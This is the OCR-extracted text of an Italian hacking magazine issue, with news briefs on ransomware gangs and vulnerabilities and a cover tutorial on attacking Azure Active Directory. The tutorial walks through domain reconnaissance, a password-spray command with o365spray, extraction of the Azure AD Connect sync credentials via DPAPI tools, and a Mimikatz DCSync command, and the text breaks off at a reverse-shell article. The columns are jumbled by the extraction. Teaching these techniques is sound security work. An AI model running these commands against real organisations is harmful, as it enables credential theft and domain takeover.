MALWARE

maggio

DA CYBERGUERRA
N.262

L’analisi dettagliata dei tool distruttivi

usati dalla Russia per attaccare l’Ucraina
www.hackerjournal.it

Dal 2002 tutto quello che gli altri non osano dirti

L’offuscamento

s
ha fallito

ew
Usi la pixellatura o
la sfocatura per nascondere
i tuoi segreti? È tutto inutile!
_n
Sgama
TARIFFA R.O.C. Poste Italiane S.p.A. – spedizione in abbonamento postale – MBPA/LO-NO/125/A.P./2017- ART.1 COMMA1- S /NA

i numeri nascosti
lia

Il trucco per scoprire l’identità

di chi ti telefona con l’anonimo

Annichilire
ita

il cloud
@

Le tecniche dei cybercriminali per identificare e bucare le istanze

L’hacker di Azure, la nuvola di Microsoft, e impossessarsi dei nostri dati
folle senza
un dito
La storia del criminale
russo che ha diffuso
Gigabyte di dati
pentesting
Scopri lo script usato dai pirati per
accesso (in)sicuro
L’autenticazione a due fattori
sottratti con il enumerare gli utenti di un server è a prova di cracker... Ops, no.
ransomware bucato con il log poisoning L’hanno bucata ed è colpa tua
 IN EDICOLA
DAL 19 APRILE

s
ew
_n
lia
ita
@

Scansiona il QR Code

Acquistala su www.sprea.it/glorierock
versione digitale disponibile dal 16 aprile
 EDITORIALE
www.hackerjournal.it
In questo numero parliamo di:
Microsoft Azure, reverse shell,
tracciamento degli smartphone,
malware, wiper, ransomware, debolezze
della doppia autenticazione, pixelling,
telefonate moleste e molto altro.

s
P
romozione della sicurezza informatica.

ew
Ne ha parlato anche il Presidente della
Repubblica, Sergio Mattarella, in un
messaggio inviato al Prefetto Lamberto
Giannini, Capo della Polizia, in occasione del 170°
_n
anniversario di fondazione della Polizia.
Nell’epoca che stiamo vivendo, nella quale
il cambiamento tecnologico e socioeconomico sembra
lia

procedere a una velocità pazzesca, forse anche

eccessiva, la sicurezza informatica gioca un ruolo
chiave perché il digitale ormai tocca anche chi usa
ancora un feature phone e il green pass lo vuole solo
ita

su carta. Il digitale è ovunque, eppure di strada dal

punto di vista culturale per capire come blindare
strumenti e dati personali ne dobbiamo fare ancora CONTATTI
@

tanta, ma davvero tanta. Un esempio? Come ci ha

REDAZIONE
svelato l’esperto di sicurezza Matteo Flora in un video
[email protected]
(www.youtube.com/watch?v=o7lg4IEOuvk), il
ABBONAMENTI
Ministero della Salute ha commesso una “leggerezza” E ARRETRATI
[email protected]
diffondendo una circolare contenente un link a un www.sprea.it/digital
form di segnalazione dei posti letto occupati per
FACEBOOK
Covid19 che, invece di essere compilabile solo da www.facebook.com/
hackerjournal/
ospedali e simili, era alla mercé di chiunque avesse
quel link... Non ci resta che augurarvi buona lettura. SITO WEB
www.hackerjournal.it
 Il prossimo num ero sara
o
in edicola dal 3 giugn

SOMMARIO ABBONATI ALLA

VERSIONE DIGITALE
SOLO PER PC E MAC
A SOLI 19,90 €
DURATA ABBONAMENTO: 1 ANNO

s
www.hackerjournal.it/abbonamenti

ew
HACKTUALITÀ
News
Notizie e anticipazioni dell’universo hacker................................................................ 06
_n
COVER STORY
Annichilire il cloud
Le tecniche dei cybercriminali per identificare e bucare le istanze
lia

di Azure, la nuvola di Microsoft, e impossessarsi dei tuoi dati.............................. 10

Vulnerabilità | Una reverse shell dai log

ita

Il bug Log4Shell consente a chiunque di prendere il controllo di una macchina

su cui è presente un applicativo Java..............................................................................18
@

NOI RISPETTIAMO L’AMBIENTE!

Hacker Journal è stato stampato
su carta certificata PEFC, proveniente
da piantumazioni a riforestazione programmata
e perciò gestite in maniera sostenibile

M IGL IORARE
A
P
I
RU
ETA
F
C
E I
R A
I TA!
A T UA R I V ISTA
L .ly/hackerjo
://bit
urnal
Vai su https questionario anonimo
e compila il
4
 Il primo manifesto hacker
“... avete mai guardato dietro agli occhi dell’hacker?
Vi siete mai chiesti cosa lo stimola, che forze
lo hanno formato, cosa può averlo forgiato?
Io sono un hacker, entra nel mio mondo...”

Wiper

s
SICUREZZA

ew
Sorveglianza Wi-Fi | Monitorati e schedati
Seconda parte del progetto di creazione di un tracciatore per smartphone.... 22

Wiper | Nuovi malware da cyberguerra

Analisi dettagliata dei tool distruttivi usati dalla Russia per attaccare l’Ucraina..... 26
_n
2FA | la doppia autenticazione è bacata
Un attacco che sta colpendo molti utenti in Rete e che causa danni gravi........... 34 > 26
Pentesting | Attacco a dizionario
Progettiamo un dictionary attack calibrato su una Web app reale!................. 36
lia

44
HOW TO
ita

Pixelling | Testi pixellati, ora craccati!

Proteggere i propri segreti pixellando le immagini non è più un metodo sicuro.... 44

Scocciatori | Come rendere visibile un numero privato

Ecco il modo per “smascherare” chi effettua telefonate con il prefisso #31#....... 48

PIXELLING
@

Filesystem | Alla scoperta di NTFS, terza parte

Vediamo come il filesystem NTFS, tipico di Windows, conserva i file....................... 52

> 58
HACKULTURE
Hack e follia | L’hacker folle senza anulare
Dietro al nick Wazawaka si cela uno dei più importanti criminali nell’ambito
del ransomware che adesso sembra essere completamente impazzito............... 58

tt o ri , le risposte de lla redazione > 60

Le do m a n d e d e i le
POSTA
HACKTUALITÀ

NLETETURW
E
S Quando hacke
rano

s
li...
i cybercrimina

ew
#LEAK Su Twitter sono finiti documenti interni e chat della gang
ransomware Conti. Ora sappiamo quali strumenti usano

C on un fatturato stimato di quasi 200 milioni di dollari, la gang Conti,

_n
specializzata in attacchi basati su ransomware, è uno dei gruppi di
cybercriminali più attivi negli ultimi anni. Scoperta nel 2020, questa gang
sembrerebbe operare dalla Russia. Ebbene, dopo aver colpito decine
e decine di obiettivi, sono caduti loro stessi vittima di un ricercatore
ucraino indipendente (o forse di un leak interno), come indica un’analisi
effettuata dagli esperti di Akamai Security. Difatti, il 27 febbraio 2022
lia

è stato creato il profilo Twitter @contileaks che ha iniziato a diffondere

documenti interni e log di chat del gruppo, così come gli indirizzi di alcuni
dei loro server interni e il codice sorgente dei tool che utilizzano.
PRACTICAL HARDWARE
Scopriamo così che per raggiungere i suoi obiettivi, la gang Conti ricorre
PENTESTING
a vari strumenti, la maggior parte dei quali non è di sua produzione. Solo
ita

Abbandoniamo per una volta crypter, trojan e injector sembrano essere proprietari; per il movimento
il mondo del software laterale, la propagazione e l’esfiltrazione sembra invece usare una serie
per dedicarci all’attacco di strumenti che dovrebbero essere familiari a chiunque sia nei red e blue
dell’hardware. È ciò che team: Cobalt Strike, Mimikatz e PSExec, per citarne alcuni. Sono stati
impareremo leggendo questo diffusi anche manuali con esempi concreti e guide sull’implementazione
volume di 382 pagine, divise
@

del movimento laterale e tante altre informazioni sul loro modo di operare.
in 14 capitoli e in lingua
inglese. Scopriremo come
identificare ogni singolo
componente di un dispositivo
hardware, costruiremo pezzo
per pezzo un laboratorio
per eseguire il pentest in
sicurezza e poi inizieremo
ad hackerare protocolli
hardware, firmware, porte,
interfacce di debug e tanto
altro. Infine capiremo anche
come realizzare un report
sulle vulnerabilità trovate.
https://amzn.to/3EegIEE

6
 NEWS
Attacco remoto contro Hanno chiuso
IL FORUM
le stampanti HP DEI CRACKER
#BUG Sono usciti alcuni CVE relativi a dispositivi di stampa #SEQUESTRO Dopo anni
buggati dell’azienda americana di attività, il noto RaidForums
è stato blindato dalle autorità

H P ha pubblicato alcuni avvisi di

L
sicurezza per delle vulnerabilità di
e forze dell’ordine statunitensi
gravità critica che interessano centinaia
ed europee hanno preso
di modelli di stampanti LaserJet Pro,
il controllo di un popolare forum
Pagewide Pro, OfficeJet, Enterprise,

s
Large Format e DeskJet. Il primo in cui gli hacker hanno pubblicizzato
bollettino avverte di un bug di buffer per anni dati rubati a consumatori
overflow che potrebbe portare e aziende americane e internazionali.

ew
all’esecuzione di codice in modalità remota Il dominio è stato sequestrato dall’FBI,
sul computer interessato. Tracciato come dai servizi segreti, dal dipartimento
CVE-2022-3942, il problema è stato segnalato di giustizia degli Stati Uniti e da altre
dal team Zero Day Initiative di Trend Micro. forze dell’ordine, come si legge
“Alcuni prodotti HP Print e Digital Sending possono essere vulnerabili in un avviso apparso sulla homepage
alla potenziale esecuzione di codice in modalità remota e al buffer di RaidForums e nel comunicato
_n
overflow con l’uso di Link-Local Multicast Name Resolution”, si legge
all’URL https://bit.ly/hj262_forum.
nell’avviso (https://bit.ly/hj262_hp).
Questo forum underground, nato
nel 2015, era noto per il suo mercato
dei leak ed era, a quanto pare,
amministrato da un ragazzo

Il malware
lia

di ventuno anni, portoghese.

che abbatte le
infrastr utture
ita

critiche
@

#MINACCIA Mandiant presenta una nuova

ricerca su un insieme di strumenti di “attacco
informatico eccezionalmente rari e pericolosi”, in differenti tipologie di macchinari in diverse industrie
denominati “INCONTROLLER” critiche (per esempio le centrali elettriche, fresatrici,
presse industriali utilizzate in molti differenti settori
INCONTROLLER, questo è il malevolo protagonista produttivi, ecc). È possibile che ogni strumento possa
della ricerca che Mandiant ha pubblicato all’URL essere utilizzato indipendentemente, o che l’attaccante
https://www.mandiant.com/resources/incontroller- possa utilizzare i tre strumenti insieme per attaccare
state-sponsored-ics-tool. Questa soluzione include un singolo ambiente. L’autore della ricerca evidenzia
tre strumenti che consentono all’attaccante di inviare che la funzionalità di INCONTROLLER “è coerente con
istruzioni a una varietà di diversi dispositivi inerenti il malware utilizzato nei precedenti attacchi informatici
al sistema di controllo industriale (ICS), incorporati da parte della Russia”.

7
HACKTUALITÀ

REVIL È KO?
BEH, ORA C’È
BLACKCAT

s
#RANSOM Un nuovo
gruppo di cybercriminali

ew
è nato dalle ceneri
di BlackMatter e REvil

N el nuovo report A bad luck BlackCat, i ricercatori di Kaspersky rivelano i dettagli di due incidenti cyber
condotti dal gruppo di criminali informatici ransomware BlackCat. La complessità del malware utilizzato,
unita alla vasta esperienza degli attori coinvolti, ha trasformato questo nuovo gruppo in uno dei player più
influenti nell’attuale mercato dei ransomware. Tecniche e strumenti usati dal gruppo durante gli attacchi
_n
confermano il collegamento tra BlackCat e altri gruppi noti come BlackMatter e REvil. In uno dei casi rivelati nel
report, il gruppo criminale ha attaccato i sistemi cloud delle vittime sfruttando le vulnerabilità degli asset condivisi
online. Inoltre, in questo caso, il gruppo ha anche rilasciato un file batch Mimikatz, insieme a file eseguibili e utility
di recupero password di rete Nirsoft. Insomma, come spieghiamo nell’articolo di copertina di questo numero,
il cloud è da maneggiare con molta cura. Per informazioni: https://securelist.com/a-bad-luck-blackcat/106254/
lia

O V E L O C I C O N LA PANDEMIA
N
LE FRODI CORRO
ita

#REPORT Uno studio di Kroll ha registrato un forte incremento

del phishing e delle frodi informatiche durante la pandemia

Kroll (www.kroll.com) ha presentato un nuovo report realizzato in

@

collaborazione con The Internal Audit Foundation (IAF) e The Institute

of Internal Auditors (IIA). Lo studio, intitolato “Le frodi e la pandemia
– L’audit interno evolve per affrontare la sfida” (https://bit.ly/
hj262_kroll), riporta che il cambiamento delle modalità di lavoro
e il passaggio improvviso al lavoro da remoto hanno fornito nuove
opportunità a truffatori e criminali informatici. Le organizzazioni
hanno dovuto affrontare una maggiore esposizione ad attacchi
informatici, di social engineering e di phishing, nonché a casi di furti
d’identità di alti dirigenti al fine di appropriarsi indebitamente di fondi.
Negli ultimi due anni, oltre la metà (il 54%) degli intervistati ha notato
un aumento degli attacchi informatici e di truffe tramite phishing,
mentre il 40% ha registrato un aumento delle frodi relative
all’appropriazione indebita di beni aziendali.

8
 s
ew
_n
lia

HA C K T U A L I TA À
ita

cover story
@

Annichilire il cloud
Le tecniche dei cybercriminali per identificare e bucare le istanze
di Azure, la nuvola di Microsoft, e impossessarsi dei nostri dati...................................................... 10

Vulnerabilita Una reverse shell dai log

Il bug Log4Shell consente a chiunque di prendere il controllo di una macchina
su cui è presente un applicativo Java....................................................................................................... 18
 HACKTUALITÀ ud
hilire il clo
COVER STORY: Annic

Annichilire
il cloud
GLOSSARIO
DI BASE
SOC
Il Security Operations Center
è un centro da cui vengono

s
forniti servizi finalizzati
alla sicurezza dei sistemi
Le tecniche dei cybercriminali per
informativi dell’azienda stessa
identificare e bucare le istanze

ew
(si dice che il SOC è interno)
o di clienti esterni. In questo
secondo caso il SOC è usato
di Azure, la nuvola di Microsoft,
per erogare Managed
Security Services (MSS)
e impossessarsi dei nostri dati
e l’azienda che li eroga è
chiamata Managed Security
_n
Service Provider (MSSP).

DOMAIN CONTROLLER
È il server che si occupa delle
richieste di autenticazione
all’interno di un dato dominio.
lia

DOMINIO
Un dominio è una rete di
computer, di solito una LAN di
un’organizzazione (azienda,
ita

ente pubblico, scuola/

università), nella quale
la logica client-server
è supportata, oltre che da
connessioni fisiche e relativi
protocolli, anche da regole
@

(dette policy) di connessione

logica di tipo autorizzativo
(regole di sicurezza).

IAAS
Infrastructure as a Service
è un’attività in cui un fornitore
di servizi informatici permette
agli utenti di creare piani
personalizzati per la creazione
di un’infrastruttura cloud
dinamica e scalabile che
comprende risorse di calcolo,
CPU, RAM, connessioni
di rete, dischi e tutto ciò che
In collaborazione con
è necessario per la creazione
di macchine virtuali. thehackingquest.net

10
 Scegliere una soluzione cloud a volte vuol dire
preferire la comodità alla sicurezza e alla privacy.
E forse alla lunga lo si paga se i sistemi non sono
“blindati” in modo adeguato...

O
rmai la moda del cloud ma poiché servono sempre il “dio denaro”,
è uno stile IT sdoganato in tutto sono destinate a restare sempre un passo
il mondo. Il termine significa indietro, azzoppate dagli idoli che loro stesse
“nuvola” e identifica una rete servono e venerano. La verità è che anche
informatica che mette a disposizione molti esperti del settore tendono a credere

s
innumerevoli servizi attraverso la rete che sia possibile demandare a terzi la
Internet, disponibili da remoto sotto forma gestione della propria infrastruttura non
di architettura distribuita. Contrariamente dovendosi preoccupare, per esempio, di tutti

ew
a quanto si pensa, il cloud computing non quei problemi tecnici legati alla cyber
è così recente. I primi “Comunicator” erano sicurezza. Generalmente “non assumersi le
terminali dotati solo di schermo e tastiera proprie responsabilità” non è mai una grande
dove i dati venivano inviati a un centro idea. Non dico che il cloud sia di per sé
di calcolo remoto [figura #1]. sbagliato, dico solo che andrebbe utilizzato
attentamente applicando ancora più
_n
IL CLOUD HA I NOSTRI DATI accortezze di quante ne useremmo
Il buon senso dovrebbe guidarci su un per il nostro ambiente “on-premises”.
semplice paradigma: “I miei dati sono
in mano a sconosciuti”. A oggi, la maggior KERBEROS
parte dei nostri dati è in mano a Il protocollo di autenticazione di Microsoft
lia

“sconosciuti”: chiamate, foto, posizioni, fu sviluppato al Massachusetts Institute

agende, appuntamenti, spostamenti, numero of Technology (MIT) e prende il nome dal
di volte in cui clicchiamo sullo schermo, mitologico mastino a tre teste a guardia
perfino ciò che si dice finisce sul cloud dell’ingresso degli inferi, su cui regnava
e dato in pasto alle IA che ci profilano per poi il dio Ade. Ognuna delle teste era in grado
ita

proporci le più svariate pubblicità. Persino di scorgere il passato, il presente e il futuro.

aziende di cyber sicurezza pagano stati esteri Il protocollo consente a due parti (per
per fare da SOC ad aziende italiane, esempio un client e un server) di autenticarsi
a vicenda su un canale di rete non

figura #1 sicuro. Entrambe le parti coinvolte

@

fanno riferimento a una terza

parte che fa da “garante” tra le
due: il server Kerberos. Da qui
il nome del protocollo che vede
coinvolte tre parti:
• il KDC (Key Distribution Center);
• il client che richiede l’accesso;
• il servizio di cui il client sta
tentando di ottenere l’accesso.

Ecco un terminale DEC VT100, collegato “in remoto”

al computer vero e proprio, introdotto nel mercato
nel 1978. Fonte: https://it.wikipedia.org/wiki/
Terminale_(informatica)

11
 HACKTUALITÀ ud
hilire il clo
COVER STORY: Annic

GLOSSARIO
DI BASE
SAAS Schema di
Software as a Service funzionamento di
è un modello di servizio massima di un
del software applicativo dove Domain
un produttore di software Controller.
sviluppa, opera e gestisce
un’applicazione Web,
figura #2

s
mettendola a disposizione dei
propri clienti via Internet (con
una formula di abbonamento). FLUSSO DI AUTENTICAZIONE soddisfa certi requisiti, lo ottiene e lo

ew
Il “garante” che abbiamo citato in ripresenta al “garante” assieme alla
RECORD TXT precedenza, in un’infrastruttura richiesta del servizio a cui desidera
Un record TXT è un tipo
di rete è rappresentato dal Domain accedere. Il garante gli risponde
di record DNS usato per
associare del testo arbitrario Controller (DC). Per assolvere al suo fornendogli un lasciapassare
a un hostname, come scopo il DC ottempera anche altri (Service Ticket) che potrà utilizzare
informazioni su un server, ruoli: Authentication Server (AS) per autenticarsi al servizio. Il sistema
_n
una rete, un centro dati o altre e Ticket Granting Service (TGS). centralizzato, cuore di Windows
informazioni contabili. Vediamo adesso quale è il flusso Server, che si fonda sui concetti di
di autenticazione [figura #2]. Dominio e di Directory e che poggia
RECORD MX
Un Mail eXchanger record è 1 Il Client invia una richiesta di le sue fondamenta sull’autenticazione
un tipo di risorsa nel DNS che ticket-granting-ticket (TGT) all’AS. Kerberos, è chiamato Active
lia

specifica un server di posta La richiesta contiene: timestamp Directory. Azure Active Directory
elettronica autorizzato ad criptato più hash NT dell’utente. (Azure AD) è il servizio in cloud
accettare messaggi email
per conto del dominio
2 Se l’AS decripta il messaggio, di Active Directory basato su IaaS
di destinazione.
invia al client il TGT. (Infrastructure as a Service). Creiamo
3 Il client, una volta ottenuto il TGT, adesso il nostro ambiente Azure.
ita

AZURE AD CONNECT può inviare al TGS il suo TGT

Applicazione Microsoft più il dettaglio del servizio REGISTRAZIONE
che consente di “unire” a cui vuole accedere. Prima di impostare il nostro
la gestione dell’identità
dell’utente on-premise e sul
4 Il TGS risponde con il Service Ticket ambiente Azure AD, è necessario
più la Session Key. registrarsi al seguente link: https://
@

cloud. In pratica, tra le altre

cose, sincronizza gli hash 5 Il client adesso può autenticarsi azure.microsoft.com/en-us/free/
delle password tra un’Active utilizzando
Directory locale e quella il Service Ticket.
sul cloud, sincronizza In poche parole, figura #3
gruppi, utenti, ecc.
il client chiede
DPAPI al “garante”
Data Protection API è una un biglietto di
semplice interfaccia riconoscimento
di programmazione di (TGT). Se il client
applicazioni crittografiche
disponibile come componente
integrato in Windows 2000
Il primo passo
e versioni successive
nella creazione del
dei sistemi operativi
nostro tenant
Microsoft Windows.

12
 figura #4 figura #5

Controlliamo i dati inseriti

e premiamo Create se sono

s
tutti corretti. Creeremo così
Schema di funzionamento di un attacco Password
il nostro tenant.
Spray, pensato per non mandare in blocco la

ew
procedura di login del servizio attaccato.

cliccando su Start Free. Clicchiamo poi su le informazioni contenute nei record TXT e MX.
Create Account. Una volta loggati con il nostro Microsoft ha due opzioni per validare il dominio.
account, ci ritroveremo di fronte alla schermata 1 Un TXT record che contiene il valore
Create Your Azure free account dove MS=<numero a caso> con un TTL di 3.600 secondi.
_n
dovremo compilare i vari campi. 2 Un MX record con priorità alta: ms<numero a
caso>.msv1.invalid con un TTL di 3.600 secondi.
CREAZIONE DI UN NUOVO TENANT Nel nostro caso, la data organizzazione utilizza
Un tenant Azure AD è un’istanza specifica di Azure AD con applicazioni Software as a Service
Azure AD che include account e gruppi. (SaaS). L’attaccante può verificarlo dai record
lia

1 Nel menu di ricerca digitiamo Azure Active MX e TXT del DNS o dai “federation records”
Directory e clicchiamo su Create [figura #3] come: adfs.targetdomain.com, sso.
2 Nel menu Configuration inseriamo: targetdomain.com, sts.targetdomain.com.
• il nome dell’Organizzazione: hack3rjournal I campi che dovremo cercare e che indicano la
• il nome del nostro Dominio: hackerjournal presenza di Azure AD sono, per esempio:
ita

• infine la regione: Italy

3 Spostiamoci nella scheda Review + Create
e confermiamo i dati, selezionando il pulsante figura #6
Create in basso a sinistra [figura #4].
Complimenti, abbiamo appena creato il nostro
@

primo tenant di Azure AD! Per crearlo abbiamo

usato il dominio hack3rjournaloutlook.
onmicrosoft.com.

AZURE RECONNAISSANCE
Supponiamo adesso che il nostro obiettivo sia
attaccare il dominio appena creato. Una delle
fasi più importanti di un attacco è la raccolta di
informazioni sul target. Abbiamo appena visto
che impostando un tenant di Azure AD viene
creato automaticamente il dominio <nome del
tenant>.onmicrosoft.com. Il primo passo sarà
quello di richiedere i record DNS e identificare Lo script per l’attacco alle password in esecuzione.

13
 HACKTUALITÀ ud
hilire il clo
COVER STORY: Annic
figura #7

Schermata
di login della
macchina
attaccata.

s
• il record *.mail.protection.outlook.com; ATTACCO ALLE PASSWORD

ew
• il record MS=ms76565273. Un brute-force attack cerca di ottenere un
Ma c’è un altro modo per verificare se una data accesso non autorizzato di un singolo account
organizzazione sta utilizzando Azure: possiamo facendo “guessing” della password, cioè cercando
navigare all’URL https://login.microsoftonline. di indovinarla. Questo approccio è inutilizzabile
com/getuserrealm.srf?login=user@ poiché l’account sarebbe bloccato dopo un certo
<domain>&xml=1. Lo username può essere numero di tentativi, che variano solitamente da
_n
quello che desideriamo e dobbiamo solamente tre a cinque (e ne dovremmo fare molti di più).
sostituire all’interno dell’URL il campo <domain> Adottiamo un altro punto di vista: in un attacco di
con il nome del dominio della nostra vittima. tipologia “spray” proviamo una singola password
Per esempio: hac3rjournal.edu. Una volta che su molteplici account, e poi passiamo alla
avremo premuto Invio, ci apparirà la pagina successiva della lista. Questo attacco ci permette
lia

corrispondente con le seguenti informazioni: di evitare frequenti e continui blocchi dell’account,

in quanto viene eseguito un singolo tentativo di
<RealmInfo Success=”true”> accesso per ogni utente. Dato che gli ambienti
<State>6</State> cloud espongono pubblicamente i loro portali di
login, questi rappresentano un ottimo bersaglio
ita

<UserState>2</UserState>
<Login>[email protected]</ per questo tipo di attacco. Le campagne di
Login> Password Spray prendono come target le Single-
<NameSpaceType>Managed</NameSpaceType> Sign (SSO) e le applicazioni cloud che utilizzano
<DomainName>hac3rjournal.edu</DomainName> i protocolli di “federated-authentication”.
@

<IsFederatedNS>false</IsFederatedNS>
<FederationBrandName>HACKER JOURNAL FAKE
SPA</FederationBrandName> figura #8
<CloudInstanceName>microsoftonline.com</
CloudInstanceName>
<CloudInstanceIssuerUri>urn:federation:
MicrosoftOnline</CloudInstanceIssuerUri>
</RealmInfo>

Il campo che a noi interessa è il valore Managed

per il <NameSpaceType> che indica la presenza
di Azure AD e O365, che sta per Office 365 (altre
opzioni sono “Unknow” o “Federation”). Constatato Il logo di PowerZure, un tool PowerShell creato
che l’organizzazione utilizza Azure AD, potremo per exploitare le risorse presenti su Microsoft
optare per un attacco Password Spraying. Azure.

14
USER ENUMERATION in minuti (5).
La prima cosa da fare sarà quindi quella di • --domain dominio.edu: il dominio che
procurarci una lista di utenti su cui mettere vogliamo attaccare.
a segno il nostro Spray Attack. Per farlo abbiamo Una volta che avremo ottenuto le credenziali
diverse opzioni: una è quella di ottenere una lista di accesso al dominio, potremo decidere di
di dipendenti attraverso l’utilizzo di classiche utilizzare vari tool per effettuare una ricognizione
tecniche di OSINT (per esempio sfruttando interna della sua struttura.
LinkedIn) e poi determinare il criterio con cui
l’organizzazione crea le sue email, come nome. AUTHENTICATED RECONNAISSANCE
[email protected] oppure prima-lettera- Esistono diversi modi per effettuare la nostra

s
[email protected] [figura #5]. ricognizione; uno è quello di utilizzare uno script
PowerShell che carpisce le user info, group
ATTACK! membership e company information.

ew
Una volta che la lista delle email target è pronta, La prima cosa che dovremo fare per utilizzarlo
non ci resta che utilizzare uno script per portare è installare i moduli MsOnline. Apriamo
l’attacco. In questo esempio utilizzeremo PowerShell con i privilegi di amministratore
o365spray. Lo script in Python è scaricabile e digitiamo i seguenti comandi:
su GitHub al seguente indirizzo: https://github.
com/0xZDH/o365spray. Per eseguirlo dovremo Install-Module MSOnline
_n
dare allo script i permessi di esecuzione, Install-Module -Name AzureAD
utilizzando il comando
Una volta che i nostri moduli saranno installati,
chmod +x o365spray.py scarichiamo il tool da GitHub al link https://github.
com/nyxgeek/o365recon. Estraiamolo in una
lia

Adesso potremo lanciare il nostro comando: directory a scelta e, utilizzando sempre la nostra
Command Line Interface (CLI) di PowerShell,
./o365spray.py --spray -U usernames.txt -p navighiamo nella directory nella quale è presente
Pass123! --count 2 --lockout 5 --domain lo script. Avviamolo digitando il nome dello script,
preceduto da .\. Dopo un breve check dei moduli
ita

dominio.edu
installati da parte dello script, ci apparirà
Analizziamo il comando nel dettaglio [figura #6]. la schermata di login [figura #7].
• ./o365spray.py: lanciamo il nostro script.
• --spray: scegliamo l’opzione per lanciare uno POST-EXPLOITATION
Spray Attack. Effettuata la nostra ricognizione, dovremo
@

• -U usernames.txt: la lista dei nostri username. eseguire tutte quelle attività di pivoting
Le email degli utenti che abbiamo raccolto ed escalation (cioè spostarsi nella rete locale
precedentemente. e ottenere maggiori privilegi) necessarie per
• -p Pass123!: la singola password che vogliamo raggiungere il nostro obiettivo. In questa fase
provare su tutti gli account. ci viene incontro PowerZure che ci aiuta a
• --count 2: il numero dei tentativi che vogliamo identificare misconfiguration o privilegi non
effettuare (2). assegnati correttamente. Le sue funzioni sono:
• --lockout 5: Reset Time per la Lockout Policy, • Mandatory - operazioni da effettuare per prime;

Questa panoramica sulle tecniche d’attacco al cloud

è solo a scopo didattico. Attaccare sistemi altrui
senza permesso è reato, fate attenzione!

15
 HACKTUALITÀ ud
hilire il clo
COVER STORY: Annic

figura #9
Scopriamo su quale macchina è in esecuzione
Azure AD Connect.

attack”. Quindi il nostro primo step sarà quello di

identificare su quale server è installato Azure AD
Connect: per farlo dobbiamo localizzare
l’account di sincronizzazione, denominato da
Microsoft MSOL_nnnnnnnnnn. Il campo

s
“Description” dell’account identifica la macchina
su cui è in esecuzione Azure AD Connect [figura
#9]. Ci basterà quindi utilizzare il seguente

ew
comando, sfruttando il modulo di PowerShell
AD, per estrapolare il campo “Description”:

Get-ADUser -filter ‘name -like “Msol*”’

-Properties Description
_n
Il nostro secondo passo nell’attacco sarà quello
• Operational - funzioni che innescano processi di recuperare la password dell’account di
su Azure; sincronizzazione dal Credential Manager
• Information Gathering - raccolta d’informazioni; e decriptarla con le chiavi DPAPI (metodo
• Secret Gathering - funzioni con l’obiettivo di crittografia utilizzato per i dati che non
lia

di collezionare informazioni categorizzate vengono mai letti al di fuori dell’host che la

come “secret”; utilizza), per farlo abbiamo due possibilità:
• Data Exfiltration - funzioni per esfiltrare/ 1 Utilizzare uno script in PowerShell:
estrarre dati. https://gist.github.com/xpn/
È possibile scaricare PowerZure al seguente link: f12b145dba16c2eebdd1c6829267b90c
ita

https://github.com/hausec/PowerZure [figura 2 Utilizzare il tool adconnectdumo:

#8]. In molti credono che una volta penetrati https://github.com/fox-it/adconnectdump
all’interno di un sistema, l’attacco sia terminato. Entrambi sfruttano le chiavi DPAPI dal server
In realtà siamo solo all’inizio. Vediamo adesso una per la decriptazione. L’ultimo nostro passo sarà
delle possibili strategie d’attacco che possiamo
@

impiegare per prendere il controllo completo e

mantenere la persistenza all’interno di Azure AD,
che ci permette di introdurre diversi concetti.

DCSYNC – ATTACKING PHS

L’attacco DCSync sfrutta il protocollo di replica
fra i domini per “imitare” il Domain Controller.
Se l’attacco ha successo, tutte le password nel
dominio sono compromesse. Il Password Hash
Synchronization (PHS) è l’account usato da Azure
AD Connect per sincronizzare la password hash
dell’Active Directory on-premises con quella
figura #10
Abbiamo ottenuto le credenziali d’amministratore
di Azure AD. Riuscendo a prendere il controllo dell’AD di Azure… e con esse otteniamo il modo
di questo account possiamo attuare il “DCSync di entrare in ogni servizio della rete.

16
quello di sfruttare il tool Mimikatz per l’attacco “madri” del sistema di autenticazione Kerberos.
di DCSync. Mimikatz è un tool Open Source I dati possono essere utilizzati per creare un
creato da Benjamin Delpy per dimostrare le Ticket Granting Ticket (TGT) “speciale”, chiamato
vulnerabilità del protocollo di autenticazione Golden Ticket. Il Golden Ticket prende il nome
di Microsoft. Fu creato nel 2007 ma è tutt’ora dal film “La Fabbrica di Cioccolato” ed è il
un’arma efficacissima. Solitamente in una biglietto d’oro che permette l’accesso completo
struttura Active Directory, gli amministratori a tutte le meraviglie della Fabbrica.
di sistema configurano più di un Domain Analogamente nell’Active Directory il Golden
Controller. Ognuno di essi possiede una copia Ticket è la “matrice” di tutti i Ticket che ci
del database dell’Active Directory. Ogni permette di utilizzare i permessi massimi per il

s
aggiornamento fatto all’interno del database massimo tempo, compromettendo l’account di
(tipo la creazione di un utente) deve essere sistema denominato krbtgt. Quando l’attaccante
propagato fra gli altri Domain Controller. utilizza il Golden Ticket, la prima interazione è

ew
L’insieme delle metodologie e dei protocolli una richiesta per ottenere il “Service Ticket” (fare
utilizzati per sincronizzare tale database prende riferimento alla [figura #1]) denominata TGS-
il nome di Active Directory Replication. REQ utilizzando il “Gold-Ticket Granting Ticket”.
Il seguente comando di Mimikatz (senza Non avviene alcun invio di credenziali o AS-REQ/
opzioni extra) seleziona automaticamente AS-REP. In altre parole, equivale a presentarsi al
il dominio e il Domain Controller, ed estrae nostro “garante” (il Domain Controller) dicendo:
_n
le credenziali dal Domain Controller attraverso “Guarda il biglietto che possiedo: è quello con
il protocollo di replica chiamato Directory i più alti permessi! Forniscimi quindi l’accesso
Replication Service Remote (DRSR). al servizio che desidero” [figura #10]. Finalmente
abbiamo compromesso il dominio e assicuratoci
mimikatz “kerberos::dcsync il pieno controllo! Ma questo non è che solo un
lia

/user:administrator” assaggio degli attacchi che potremmo mettere

in atto per prendere il controllo e mantenere
A questo punto, il gioco è fatto poiché una volta la persistenza all’interno di Azure AD. Molti altri
ottenute le credenziali dell’amministratore di attacchi sono possibili: Skeleton Key, Silver
dominio, possiamo usare DCSync per connetterci Ticket, Pass-the-Hash, Token Forging, etc…
ita

al Domain Controller ed estrarre le credenziali scrivete in redazione se volete saperne di più.

RACCOLTA
@

PDF
HACKER
JOURNAL
Acquista la raccolta
PDF digitale del 2021
9 numeri a soli 7,90 €
anziché 35,10 € vai su
www.hackerjournal.it/raccoltapdf2021

17
 HACKTUALITÀ

GLOSSARIO
DI BASE
Una r e v e r s e

s
g
